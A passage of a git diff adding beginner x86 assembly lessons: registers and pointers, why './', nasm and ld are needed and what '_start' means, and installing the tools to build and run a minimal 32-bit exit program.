+Let's make this a bit more concrete, because it'll be very useful down the road. Say box 5 again holds 12, and box 12 holds 99. If we tell someone "go to the place box 5 *points to*," they have to take two steps:
+
+```
+ 1) First look at box 5 → it holds 12 inside
+ 2) Read that 12 as an ADDRESS,
+ go to box 12 → the value you actually want is there (99)
+
+ ┌──────┐ ┌──────┐
+ Address 5│ 12 │ ──────────────────► │ 99 │ Address 12
+ └──────┘ "go to box 12" └──────┘
+ (holds an ADDRESS) (the actual VALUE)
+```
+
+So box 5 holds, not the actual data, but **where** the actual data is. A box like this, holding another box's address inside it, is called a **pointer**: "box 5 points to box 12."
+
+Ground it in everyday life: it's like a coat-check ticket. The ticket itself is not your coat; the number on it tells the attendant **which hook** your coat is on. Or an address book — the "Alice" line doesn't contain Alice's house, it contains **where** her house is. A pointer is exactly like this: it carries not the data, but the location of the data.
+
+So what's it good for? Because instead of carrying a huge thing from hand to hand, just saying "it's over there" is often much cheaper — like giving someone your address instead of mailing them your house. As you'll see later, programs always manage large data this way, by passing its address (its pointer) around.
+
+> 💡 Forward-note: Actually *following* a pointer — going to the address inside it and grabbing the value there — takes an instruction. We'll do that with real syntax in [08_mov_ve_bellek](./08_mov_ve_bellek.md). For now it's enough for the idea to settle: **a box can hold the location (address) of another box.** If you've firmly grasped the address/value distinction, you've already understood half of what a pointer is.
+
+---
+
+## A Close Look at Registers
+
+In 01 we got to know registers as "the boxes in the worker's pocket, instantly accessible, few in number," and we heard a few of their names (EAX, EBX, ECX, EDX). Now let's zoom in on them too.
+
+**How many are there?** In x86's 32-bit world there's a handful of "general-purpose" registers. The main four are `EAX`, `EBX`, `ECX`, `EDX`; to these are added `ESI` and `EDI`; and there are two more "special-duty" ones, `ESP` and `EBP` (we'll meet them in [14_stack](./14_stack.md)). In total a bit more than the fingers on one hand — that promise from 01 is this concrete.
+
+**How big are they?** Here we pay off one of 03's debts. In 03 you saw a line like this:
+
+```
+ Example from 03: ebx = 0xffffd6a4
+ └────┬────┘
+ 8 hex digits
+
+ 1 byte = 2 hex digits → 8 hex digits = 4 byte = 32 bit
+ This is EXACTLY how much a register holds: 32 bit = 4 byte.
+```
+
+So a register holds a 4-byte number. By the "powers of 2" logic from 03, this means a range from 0 up to `2³² − 1` (exactly 4,294,967,295, or roughly 4.3 billion). Let's set it next to a memory box:
+
+```
+ Memory box: 1 byte → 0 .. 255
+ Register: 4 byte → 0 .. ~4.3 billion (exactly 2³² - 1)
+```
+
+> 💡 Forward-note: If you noticed, up to here we've always counted **from 0 upward** — both in the box and in the register. But what about negative numbers, say −7? They fit in these same bits too, no need to invent a separate box; but the question "*how* is a negative number written with these switches?" we'll open up when we see signed numbers and flags ([10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md)). For now it's enough to say "the range is on the positive side."
+
+If you noticed, this connects to the previous section: a register carries exactly as much number as 4 memory boxes. When you drop what's inside a register into the warehouse, that value spreads across 4 consecutive boxes — which is the very thing we meant by "big number = several boxes."
+
+> 💡 Why are registers so few but so fast? Because physically they're **inside the worker itself** — on the processor. The pocket is in the worker's apron; the warehouse is across the room. What's close is fast but space is expensive (that's why there are few); what's far is plentiful but slow. We're not digging into the deep physical reasons; the intuition "close = fast + few, far = slow + plentiful" is more than enough for now.
+
+> 💡 Forward-note: The letters in the register names (A, B, C, D) and that leading "E" aren't random — there's a small but pleasant bit of history behind them. For the curious, I've told it in the [Appendix](#appendix--where-does-the-e-in-eax-come-from-history-and-reasons) at the very end; for now just think of the names as labels.
+
+---
+
+## The Worker's Real Dance: Between Warehouse and Pocket
+
+Now we come to the heart of this lesson. We've seen the two parts (warehouse + pocket) separately; but what does the worker do all day long? The answer is a **shuttling back and forth** between these two.
+
+The key rule is this: the worker does its real work — adding, subtracting, comparing — almost always **in its pocket**, that is, in the registers. It can't just grab a box sitting on a shelf in the warehouse and "play with it"; it first has to pull it into its pocket. That's why nearly every task has this three-step shape:
+
+```
+ WORKER (registers in its pocket)
+ ┌───────────────────────────┐
+ │ [EAX] [EBX] ... │
+ └───────────────────────────┘
+ ▲ FETCH │ STORE
+ │ (warehouse → pocket) ▼ (pocket → warehouse)
+ ┌─────────────────────────────────────────┐
+ │ WAREHOUSE (memory): numbered boxes │
+ └─────────────────────────────────────────┘
+
+ PROCESS = do it in the pocket (add / subtract / compare)
+```
+
+- **FETCH:** Bring the number(s) you need from the warehouse into the pocket. (memory → register)
+- **PROCESS:** Do it in the pocket — add, subtract, compare. (on the registers)
+- **STORE:** If you need to keep the result, put it back from the pocket into the warehouse. (register → memory)
+
+A concrete example (not a real instruction yet, just a plain-language draft):
+
+```
+ Task: add the number in box 100 to the number in box 200,
+ write the result to box 300.
+
+ FETCH : box 100 → EAX (warehouse to pocket)
+ FETCH : box 200 → EBX (warehouse to pocket)
+ PROCESS: add EBX to EAX (in pocket; now EAX = sum)
+ STORE : EAX → box 300 (pocket to warehouse)
+```
+
+As you can see, the whole job amounts to pulling from the warehouse into the pocket, handling it in the pocket, and if necessary dropping it back into the warehouse. This **fetch → process → store** pattern is the skeleton of nearly every program you'll write. When you see the real instructions in Unit 1, you'll recognize this shape again and again.
+
+> ⚠️ Let's head off a confusion here from the start. **fetch → do → advance** (01) and **fetch → process → store** are NOT the same thing:
+> - **fetch-do-advance:** the rhythm the worker reads *commands* — it turns once per instruction: fetch the next command, apply it, advance to the next command.
+> - **fetch-process-store:** the pattern of moving *data* between warehouse and pocket — the big picture of most programs. It's what happens inside the "do" steps above.
+>
+> In short: while individual instructions cycle through fetch-do-advance, the pattern they produce all together is fetch-process-store.
+
+> 🔑 In Unit 1 you'll meet an instruction called `mov` — that's the instruction that does the **FETCH** and **STORE** above ([08_mov_ve_bellek](./08_mov_ve_bellek.md)). **PROCESS** is the arithmetic instructions ([09_aritmetik](./09_aritmetik.md)). So this dance is nothing but the plain-language draft of the real instructions you're about to learn.
+
+> 💡 An honest little note: x86 sometimes allows shortcuts too (there are cases where you can touch a memory box directly, without always pulling into the pocket). But the basic pattern you need to keep in your head is fetch-process-store; I'll mention the exceptions when the time comes.
+
+---
+
+## The Program Lives in These Boxes Too
+
+Up to now we've always thought of the boxes as being for **data**: numbers, letters, the health in a game. But in 01 we said in passing "you put the program into memory." Let's complete that picture now: the program **itself** also lives in the same boxes.
+
+How can that be? Because every instruction the worker knows is, at the very bottom, again a **number** — the machine encodes each command with a certain number. So your "list of commands" is really just numbers written into consecutive boxes. Let's tie it to 03: those instructions you'll write in assembly live in memory as hex numbers.
+
+This also clarifies the exact meaning of the word "**fetch**" in fetch-do-advance: the worker **reads the next command from memory, from a box.** The warehouse that's there for data is also where the program lives.
+
+> 🔑 Memory holds both **data** and the **program** — both are, in the end, numbers in boxes. The "fetch" of "fetch-do-advance" means pulling the next instruction from one of these boxes.
+
+> 💡 Forward-note: The idea that "code is really data / numbers in memory" is a powerful insight that will open many doors down the road. For now we're just completing the picture: the warehouse isn't filled only with data, it's also the home of the program.
+
+---
+
+## The Worker's Finger Is a Register Too
+
+Let's close Unit 0 with one last connection. In 01, as a small 💡, we said this: "the worker holds the information 'which line of the list am I on right now,' as if keeping its finger over the line it's reading." We can now say what that finger is.
+
+That finger is a special pocket box — that is, a **register.** So what does it hold inside? The **memory address** of the next command: that is, the information of which box the worker will read its next command from.
+
+```
+ Special register ("finger") MEMORY (the program is here too)
+ ┌──────────┐ Address
+ │ 0x.... │ ──────────────────► ... ┌─────────┐
+ └──────────┘ now → │ command │ ← read from here (FETCH)
+ holds an ADDRESS inside └─────────┘
+ (which box number), ...
+ not a VALUE
+```
+
+Notice how this is a nice closing for this section's address/value lesson: this register holds not a **value** but an **address** — it carries the "which box" information, not what's inside that box. The thing we distinguished two sections ago comes in handy right here.
+
+Now let's re-read fetch-do-advance with this finger register:
+
+```
+ FETCH : read the command in the box the finger points to
+ DO : apply the command literally
+ ADVANCE: slide the finger to the box where the next command sits
+```
+
+And the "**jump / leap**" instructions we previewed in 01? They're exactly this: putting **another address** into this finger register. You make the finger jump to whichever line of the list you want — decisions and loops arise exactly this way ([11_ziplamalar](./11_ziplamalar.md)).
+
+> 💡 Forward-note: This special register's name in x86 is **EIP** (Instruction Pointer). You don't have to memorize it; when you step through the program one at a time with GDB, you'll see the finger walk from box to box *live* ([07_gdb_tek_adim](./07_gdb_tek_adim.md)). At that moment you'll say "ah, so this is what it was."
+
+> 🔑 All of Unit 0 in one breath: **memory** = numbered boxes that hold data and the program; **registers** = a few fast boxes inside the worker (one of them the finger, holding "where are we right now"); **the worker** = a very fast but very dumb being that processes the command the finger points to with fetch-do-advance, and the data with the fetch-process-store dance. That's what a computer is.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Memory box = exactly 1 byte = 8 switches = 0..255. Addresses are consecutive (0,1,2,...), usually hex.
+ - The box's NUMBER = address. The box's INSIDE = value. (Still completely separate!)
+☐ Big number (over 255) = several consecutive boxes together. (Ordering: later, in gdb.)
+☐ The same number can be a VALUE in one place, an ADDRESS in another; its role is set by the COMMAND you give the worker.
+ - "A box can hold another box's address" → the seed of the later pointer (not opening it now).
+☐ Register = fast pocket box inside the worker; FEW in number (EAX,EBX,ECX,EDX,ESI,EDI + ESP,EBP).
+☐ One register = 32 bit = 4 byte = 0..~4.3 billion. (The answer to the 8-digit "ebx = 0xffffd6a4" from 03.)
+☐ The worker's real dance: FETCH (warehouse→pocket) → PROCESS (in pocket) → STORE (pocket→warehouse). The skeleton of programs.
+ - CAREFUL: fetch-do-advance = COMMAND reading rhythm; fetch-process-store = DATA moving pattern. Don't mix them up.
+☐ The program lives in memory too: commands are numbers as well. "Fetch" = reading the next command from a box.
+☐ The worker's "finger" = a special register; it holds the ADDRESS of the next command inside it (in x86 its name is EIP).
+ - Jumping/leaping = putting another address into this finger.
+☐ Unit 0 is done: you now have the full picture in your head. In Unit 1 we'll write and run real code for the FIRST TIME.
+```
+
+---
+
+## Appendix — Where Does the "E" in EAX Come From? (History and Reasons)
+
+> This section is for the curious. If you skip it, it won't get in the way of understanding the rest of the lesson at all — but if you asked above "why A, B, C, D, and why the leading E?", the answer (and its short story) is here.
+
+### First the letters: A, B, C, D aren't random
+
+In the first x86 processors (8086/8088, 1978), the registers had specific roles, and their names came from those roles:
+
+```
+ AX → Accumulator : where the calculation "accumulates" (sums, results)
+ BX → Base : was used as the "base" in memory addressing
+ CX → Counter : counter — the repeat count of loops
+ DX → Data : extra data / helper in multiply-divide
+```
+
+Today most of these count as "general-purpose" — that is, you can put them to almost any job you want. But the names stuck, and some instructions **still** prefer certain registers (for example some loop/counter instructions like ECX, some multiply instructions like EAX/EDX). We'll see these in the relevant lessons as they come up. So they're "general-purpose" but not exactly equal — keep this small honest note in your pocket.
+
+### Then the leading "E": Extended
+
+On the old machines these registers were **16-bit** — that is, AX, BX, CX, DX held 16 bits (2 bytes). With the 80386 processor (1985) the registers were extended to **32 bits**. This extended form was called "**E**xtended AX" → **EAX**. So the leading E, in short, means "extended, 32-bit version."
+
+The nice part: the old 16-bit AX didn't disappear — today AX lives on as the name for accessing the **lower 16 bits** of EAX:
+
+```
+ EAX (32 bit)
+ ┌───────────────────────────────────┐
+ │ │ AX │ AX = lower 16 bits of EAX
+ │ │ (16 bit) │
+ └───────────────────────────────────┘
+```
+
+(As for AX itself being split internally into two bytes called AH and AL — and why that means "not separate boxes, but different windows onto the same bits" — we look at that in the very next short interlude lesson, [04.5_registerin_ici](./04.5_registerin_ici.md). For now it's enough to say "AX is the small form of EAX.")
+
+### And afterward: RAX (64-bit)
+
+Let's complete the story: on 64-bit machines the same register grew once more, became 64 bits, and its name became **RAX** (the R here from "register," a bit arbitrary). So the same pocket box has three sizes it has grown into:
+
+```
+ AX (16-bit) → EAX (32-bit) → RAX (64-bit)
+```
+
+In this course we work at the **32-bit (EAX)** tier. But if you see AX, EAX, or RAX somewhere, you now know: they're all the same register at different sizes.
+
+> 🔑 Summary: The letters (A/B/C/D) came from old special roles; the leading **E** = Extended (16→32-bit expansion). AX(16) → EAX(32) → RAX(64) are three sizes of the same box. Our world is EAX.
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The source of the box/register/worker model we deepened in this lesson
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — Going one level deeper inside the registers: AL, AH, and "same bits, different window"
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — Where the "fetch → store" dance is done with real instructions
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The lesson where you'll watch registers, addresses, and the "finger" walking, live
+
+---
+
+**Previous topic:** [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md)
+**Next topic:** [04.5_registerin_ici.md](./04.5_registerin_ici.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md b/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
new file mode 100644
index 0000000..1ad5847
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
@@ -0,0 +1,150 @@
+# 🔧 x86 Assembly — Behind the Curtain: What Did Those Commands Actually Do?
+
+> In 05 you wrote three commands and the program ran: `nasm`, `ld`, `./ilk`. It worked — but
+> if something is nagging at you about "what exactly happened behind the curtain?", this lesson is just for you.
+> We unpack three good "why"s one by one: how the shell finds the program, why you still need
+> `ld` even though `nasm` already assembled it, and whether the word `_start` is really "magic".
+
+> **This lesson is an optional deep dive.** If you finished 05 you can go straight to 06, you won't
+> miss anything. But if one of the questions above is nagging at you too, the answers are here — and all of them
+> **tested** on my own machine, with real output. We're still not memorizing new commands; we're just understanding what happened.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Do We Write `./ilk`?](#why-do-we-write-ilk)
+- [If `nasm` Assembled It, Why Do We Need `ld`?](#if-nasm-assembled-it-why-do-we-need-ld)
+- [Is `_start` a Magic Word?](#is-_start-a-magic-word)
+
+---
+
+## Why Do We Write `./ilk`?
+
+In 02 we typed `ls`, `echo` and they ran without anything in front of them. But when you call your own program `ilk` it can't find it — you absolutely need `./ilk`. Is the worker blind? No. The issue is **where the shell looks for the command.**
+
+When you type `ls`, the shell doesn't pull it out of thin air; it searches a fixed list of folders called the **PATH**. This list looks something like:
+
+```
+ PATH = /usr/bin : /bin : /usr/local/bin : ... (folder after folder)
+ │
+ └─ "ls" sits here (/usr/bin/ls) → found → ran
+```
+
+Programs like `ls`, `echo` live in one of these folders; the shell walks the list, finds them, runs them. But your `ilk` program is **in the folder you're in** (say `~/Desktop`), and that folder is **not** on this list. Result:
+
+```
+ "ilk" → shell looks in the PATH folders → not there → "command not found"
+ "./ilk" → "don't look at the list at all, run the ilk in EXACTLY THIS FOLDER" → runs
+```
+
+So why isn't the folder you're in on the PATH? **Security.** If it were searched automatically, someone could give a malicious program the name `ls` and drop it in a folder; when you `cd` into there and type `ls`, you'd unknowingly run theirs instead of the real `ls`. That's why the folder you're in is never searched automatically — if you're going to run something from there, you have to say so **explicitly**.
+
+`./` says exactly that: `.` = "this folder", `/` = separator. So `./ilk` = "run the `ilk` that is **right here, in this folder**." It means: don't trust the list, I'm telling you the location.
+
+> 🔑 The shell searches for commands in a folder list called the **PATH**. `ls` is on that list; your new program isn't. `./` = "don't look at the list, run the one **in this folder**." The folder you're in not being on the list isn't a flaw, it's a deliberate **security** measure.
+
+---
+
+## If `nasm` Assembled It, Why Do We Need `ld`?
+
+What `nasm` does is clear: it assembles the asm you wrote into machine code and gives you `ilk.o`. A reasonable question: since it's already been assembled into the numbers the worker understands, why can't we run it directly instead of `ld` stepping in between? There's no other "to-be-combined" piece around either.
+
+The answer: that `.o` file **isn't a full program yet** — in your words, a half-baked cake. When I ask the `file` command, it plainly distinguishes the two:
+
+```
+ ilk.o : ELF 32-bit ... relocatable ← "relocatable" = not yet runnable
+ ilk : ELF 32-bit ... executable ← the actual program (runs)
+```
+
+I tried forcing the `.o` to run (`chmod +x ilk.o; ./ilk.o`) and the kernel cut it short:
+
+```
+ ./ilk.o → Exec format error
+ (kernel: "this is not a runnable program")
+```
+
+So the `.o` really can't run; something is missing. `nasm` produced the machine code, but for the program to be loadable by the operating system, two more things are needed, and **`ld` adds them:**
+
+1. **The program "envelope" (headers).** A running program wants a cover that tells the kernel "load me at this spot in memory, start me from here (entry point), and what permission each part has." The `.o` doesn't have this cover.
+2. **Addresses getting finalized.** In the `.o`, some addresses hold a blank spot marked "to be filled once everything is placed in memory". `ld` decides the final layout and fills those blanks.
+
+And the name "linker" really comes from this: in big programs there are **many** `.o` files and ready-made libraries. `ld`'s job is to link a `call` in one file to a function in another file and stitch them all into a **single** program. In yours there's no piece to be linked from outside — but `ld` is still required because it does the "envelope + address" work above.
+
+```
+ nasm ld
+ ──────► ilk.o ──────────► ilk
+ (relocatable) (executable)
+ half-baked envelope + addresses done
+ CAN'T run alone runs
+```
+
+> 🔑 There are two separate jobs: **`nasm`** *assembles* a file's text into machine code (`.o`); **`ld`** *turns* those pieces into a real, loadable program (envelope + final addresses + stitching the pieces). The `.o` is a half-baked cake; `ld` makes it serviceable. The reason there are two steps: so you can assemble many files separately and combine them all in one go at the very end.
+
+---
+
+## Is `_start` a Magic Word?
+
+This is the cleverest question, and its answer confirms the very thesis of 01 ("the worker knows no words, only numbers"). In short: **`_start` is not for the worker (CPU), it's for the TOOLS.**
+
+The worker **never sees** the word `_start`. By the time the program runs, that word has long since turned into a **number — an address**. The worker just starts running from a certain address; it has no idea that address was once called "_start".
+
+So who cares about this word? **`ld`.** When it's setting up the program, it needs the information "**which address should it start from?**" (the entry point), and **by default it looks for a label named `_start`** and treats its address as the "start". So `_start` is a silent **agreement** between you and `ld`: "this is the name of the start."
+
+So why do we write `_start` **twice** in the program — one `global _start`, one `_start:`? Two separate jobs: `_start:` (with the colon at the end) **hangs the label** on that line, saying "this is _start". `global _start` **announces** that label **outward, to `ld`** — "let the outside of the file see this name too." Without `global`, the label stays only inside the file; `ld` wouldn't be able to find the `_start` it looks for as the default start. So `_start:` *sets* the name, `global` makes it *visible*.
+
+I tried this — I made the label `_basla` instead of `_start`:
+
+```
+ nasm -f elf32 basla.asm -o basla.o
+ → no problem. nasm didn't care about the name at all; to it, a label is just a label.
+
+ ld -m elf_i386 basla.o -o basla
+ → ld: warning: cannot find entry symbol _start; defaulting to 08049000
+ (ld: "I couldn't find the '_start' start you promised me, so I'm putting the
+ entry at the beginning of the code." In this tiny program the beginning of the
+ code happens to be exactly _basla's first instruction, so the program DOESN'T
+ crash, it runs fine — indeed I tried it, the exit came back 42. Danger only
+ arises if your start label isn't at the beginning of the code, i.e. if the
+ entry accidentally lands on data or in the middle of another instruction; that's
+ why in real/big programs _start is still expected.)
+
+ ld -m elf_i386 -e _basla basla.o -o basla
+ → ran. ("-e _basla" = telling ld "the entry point is _basla")
+```
+
+So you can write `_basla`, or `_bismillah` too — the only condition is telling `ld` "the start is this" with `-e `. The word isn't magic; it's just the name `ld` **defaults** to expecting, and it can be changed with a flag.
+
+And the beautiful part is that this is exactly the topic of **[01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md):** labels like `_start` exist purely for humans and tools. By the time `nasm`+`ld` finish their job, every name has turned into a number (address); the worker runs on numbers, the names evaporate. Meaning, again, is not inside the number, it's in the agreement.
+
+> 🔑 `_start` is not for the worker, it's for `ld`; it's `ld`'s default "start" name. If you want, you put another name and say `ld -e `. Once assembled, all names turn into numbers (addresses) — the worker never sees `_start`. (This is the live form of the idea in 01.5 that "meaning is given not by the name but by the agreement/code".)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ The shell searches for the command on the PATH (folder list). ls is there; your program isn't.
+ - ./ilk = "don't look at the list, run the one in THIS folder." The folder not being on the list = security.
+☐ nasm assembles → ilk.o (relocatable, half-baked, CAN'T run → "Exec format error").
+ ld → ilk (executable). ld adds: program envelope (headers) + final addresses + stitching the pieces.
+ - Two steps, because: so you can assemble many files separately and combine them at the very end.
+☐ _start isn't magic: not for the worker, for ld. It's ld's default "start" name.
+ - Another name → tell it with ld -e . (nasm doesn't care about the name.)
+ - Once assembled, all names turn into numbers/addresses; the worker never sees _start. (01.5!)
+```
+
+---
+
+## 🔗 Related Topics
+
+- [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md) — Where you first used these three commands (`nasm`, `ld`, `./`)
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — "Meaning is given by the agreement, not the name" — the root of why `_start` isn't magic
+- [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md) — The ground where the shell, running commands, and the PATH come up
+
+---
+
+**Previous topic:** [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md)
+**Next topic:** [06_ilk_gercek_program.md](./06_ilk_gercek_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md b/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md
new file mode 100644
index 0000000..8f5e9e2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md
@@ -0,0 +1,211 @@
+# 🚀 x86 Assembly — Setup and Your First Program
+
+> Throughout Unit 0 we built up what goes on inside the machine's head without writing a single line of code. That patience now pays off.
+> In this lesson, for the first time, you install the real tools, write your first real program, assemble it, and **run it.**
+> The program will do almost nothing — on purpose. Because the hero here isn't the program, it's the chain itself:
+> how the text coming out of your keyboard turns into a real program the processor runs.
+
+> **This is the first time there's code — but don't be scared.** You don't need to fully understand the asm you'll write just yet; writing a few lines like
+> a **closed box** and seeing that the chain works is enough. What those lines actually do we'll open up one by one in the coming lessons.
+> The only goal of this lesson: get the tools installed, and let you say "I ran a program."
+
+---
+
+## 📋 Table of Contents
+
+- [Three Tools: nasm, ld, gdb](#three-tools-nasm-ld-gdb)
+- [Install the Tools](#install-the-tools)
+- [Write Your First Program](#write-your-first-program)
+- [Write → Assemble → Run](#write--assemble--run)
+- [Did It Work? (Nothing Happened!)](#did-it-work-nothing-happened)
+- [Step by Step, What Happened?](#step-by-step-what-happened)
+- [If You Got an Error](#if-you-got-an-error)
+
+---
+
+## Three Tools: nasm, ld, gdb
+
+In 00 we said this: **you write assembly → a program translates it into machine code → the processor runs those numbers.** Now we're actually installing that "translating program" (and a couple of its friends). We have three tools:
+
+- **`nasm`** — the *assembler* (translator). It turns lines you write like `mov eax, 5` into the numbers (machine code) the processor actually reads. This is our main tool.
+- **`ld`** — the *linker* (combiner). It turns the raw piece nasm produces into a real program the operating system can load into memory and **run**.
+- **`gdb`** — the *debugger* (watcher). It lets you step through a program one instruction at a time and watch what happens inside. In this lesson we're only **installing** it; we'll start using it in [07_gdb_tek_adim](./07_gdb_tek_adim.md).
+
+For now, just keep in mind: **`nasm` translates, `ld` combines, `gdb` watches.**
+
+---
+
+## Install the Tools
+
+Depending on which Linux distribution you use, type **one** of the lines below into the terminal. (If you don't know which one: if you use Ubuntu/Mint, the first; if you use an Arch-based one —CachyOS, Manjaro— the second; if you use Fedora, the third.)
+
+**Debian / Ubuntu / Linux Mint:**
+```
+sudo apt install nasm binutils gdb
+```
+
+**Arch / Manjaro / CachyOS:**
+```
+sudo pacman -S nasm binutils gdb
+```
+
+**Fedora:**
+```
+sudo dnf install nasm binutils gdb
+```
+
+(`binutils` is the package that includes `ld`; it's already installed on most systems, but we listed it just to be safe.)
+
+Once the installation is done, check that it installed correctly:
+
+```
+nasm --version
+```
+
+You should see a line like this: `NASM version 2.16.01`. If you saw it, your tool is ready.
+
+> 💡 `sudo` means "do this with administrator privileges," which is why it may ask for your password. Because **installing** a program is a job that touches the system, it requires privileges — this is exactly the "changing the system requires a password" situation we touched on in 02.
+
+---
+
+## Write Your First Program
+
+Now we'll write your first program. With a text editor (`nano` in the terminal, or VS Code, whatever you use), create a file named **`ilk.asm`** and write exactly this inside it:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 1 ; the number for saying "end the program" (sys_exit)
+ mov ebx, 0 ; exit code: 0
+ int 0x80 ; call the kernel: "do what I said"
+```
+
+Don't worry, we won't dig through it line by line — but knowing roughly what's going on is enough:
+
+- **`section .text`** → means "from here on are the **instructions** the worker will carry out." (The code section of the program.)
+- **`global _start`** and **`_start:`** → the marker telling the worker "start the program **here**." `_start` is where the worker will read the first order. (Recall the sentence from 01: "you tell the worker 'start from this line'.")
+- The **three lines** below → for now a **closed box.** All together they're the way of saying "end the program cleanly." What `mov` does we'll explain in [06_ilk_gercek_program](./06_ilk_gercek_program.md), and what `int 0x80` (i.e. "calling the kernel") is we'll fully explain in [17_sistem_cagrilari](./17_sistem_cagrilari.md). Right now you don't even need to memorize it — just write it.
+
+> 💡 If you're using `nano`: open it with `nano ilk.asm`, type the above, then **Ctrl+O** (save) → **Enter** → **Ctrl+X** (exit). The parts starting with `;` are *comments* (the worker doesn't see them, they're just notes to you); you can skip writing them if you want.
+
+---
+
+## Write → Assemble → Run
+
+Your file is ready. Now we'll turn it into a program the processor can run and then run it. In the folder where `ilk.asm` lives, three commands in order:
+
+**1) Assemble** (asm text → machine code):
+```
+nasm -f elf32 ilk.asm -o ilk.o
+```
+`nasm` reads your file and translates it into machine code. `-f elf32` means "give the output in **32-bit** ELF format" (we're writing 32-bit x86). Result: an intermediate file named `ilk.o` (*object*).
+
+**2) Link** (object → executable program):
+```
+ld -m elf_i386 ilk.o -o ilk
+```
+`ld` turns that intermediate file into a real executable program. `-m elf_i386` means "link as **32-bit** (i386)." Result: a program named `ilk` that you can run.
+
+**3) Run:**
+```
+./ilk
+```
+The leading `./` means "run the `ilk` program **in this folder**."
+
+> 💡 **You might wonder:** *"We're compiling 32-bit; don't I need to install an extra 32-bit library (multilib)? The internet said so."* No — our program uses no library at all, it calls the kernel directly (`int 0x80`). So what comes out is a standalone, self-contained (*statically linked*) 32-bit program; nothing extra is needed. (If we link to the C library later, that's a separate topic.)
+
+---
+
+## Did It Work? (Nothing Happened!)
+
+You typed `./ilk`, hit Enter, and... nothing happened. No text appeared on screen, the prompt came back. **Don't panic — this is exactly what's expected.**
+
+Our program doesn't do anything; it just says "I was born, I immediately ended." We'll teach writing to the screen in [17_sistem_cagrilari](./17_sistem_cagrilari.md). So the absence of output isn't a bug, it's **by design.**
+
+So how will we know it worked? Let's ask the program for its **exit code**. Type this:
+
+```
+echo $?
+```
+
+What you'll see:
+
+```
+0
+```
+
+This `0` means "the program ended **cleanly, without errors**" (0 = no problem). This is the proof that the chain ran from start to finish: you wrote it, it assembled, it linked, it ran, it exited cleanly.
+
+> 💡 **If you're using a different shell:** `echo $?` works in bash and zsh (the defaults on most systems). But some shells like **fish** call this variable `$status` — if you're in fish, `echo $?` gives you an error; use `echo $status` instead (same result). Not sure? If `echo $?` gives an error, that shell uses `$status`; switch to it. (`echo $SHELL` also tells you which shell you're in.)
+
+> 💡 `echo $?` asks "**what was the exit code of the last program that ran?**" For now it's 0, because we wrote `mov ebx, 0` in our program. In [06_ilk_gercek_program](./06_ilk_gercek_program.md) **you** will decide this number — we'll put something else in `ebx` and make `echo $?` report it. Your first "the number I put came out on screen!" moment will be there.
+
+---
+
+## Step by Step, What Happened?
+
+What you just did was actually the picture we drew in 01-04 **becoming real for the first time.** Let's loop back and connect it:
+
+```
+ 1) You wrote a text (ilk.asm) → an order list close to the worker's language
+ 2) nasm translated it to MACHINE CODE → to numbers (like B8 05 00 00 00 from 00) → ilk.o
+ 3) ld turned it into an EXECUTABLE program → into a form the kernel can load → ilk
+ 4) You said ./ilk:
+ - the kernel put the program into memory (the storehouse)
+ - told the worker "start from _start"
+ - the worker carried out the instructions with fetch-do-advance
+ - reaching int 0x80 it said "I'm done," control returned to you (the prompt)
+```
+
+So that fancy phrase "running a program" ([01_bilgisayar_nedir](./01_bilgisayar_nedir.md)) was exactly this: putting your list of orders into memory, telling the worker "start," and it carrying out the list. Now you've done this **with your own hands.**
+
+---
+
+## If You Got an Error
+
+Getting an error on the first try is very likely — and as we said in [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md), an error isn't your enemy, it's a **clue.** The most common ones you'll hit:
+
+- **`nasm: command not found`** (or `ld: command not found`) → the tool isn't installed. Go back to the **installation** step above and install the packages.
+- **`ilk.asm:5: error: ...`** → there's a typo in your asm file. nasm tells you **which line** it's on (5 in the example); go to that line and compare it letter by letter with the code above.
+- **`ld: cannot find ilk.o`** → the `nasm` step before the `ld` step didn't succeed (i.e. `ilk.o` was never created). First run the `nasm` command without errors, then `ld`.
+- If a command came back without printing anything (silence) → usually a **good** sign; it means that step finished without a problem. (The worker doesn't talk unnecessarily, remember.)
+
+Don't be afraid of typing a command wrong — worst case you get an error message, you fix it, you try again. That's the usual loop anyway: write → error → read → fix.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Three tools: nasm (asm→machine-code translator), ld (linker), gdb (watcher; we'll use it in 07).
+☐ Install: with apt / pacman / dnf nasm binutils gdb. Verify: nasm --version
+☐ First program skeleton:
+ section .text + global _start + _start: + (closed box for now) 3-line clean exit
+☐ The chain (in the folder where ilk.asm lives):
+ nasm -f elf32 ilk.asm -o ilk.o (assemble: asm → object)
+ ld -m elf_i386 ilk.o -o ilk (link: object → program)
+ ./ilk (run)
+☐ Nothing showing up is NORMAL: the program says "born-then-ended."
+ echo $? → 0 = clean exit (in the fish shell: echo $status). In 06 you'll decide this number.
+☐ 32-bit but multilib NOT NEEDED: our program is library-free, statically linked.
+☐ Error = clue: most of the time either the tool isn't installed or there's a typo.
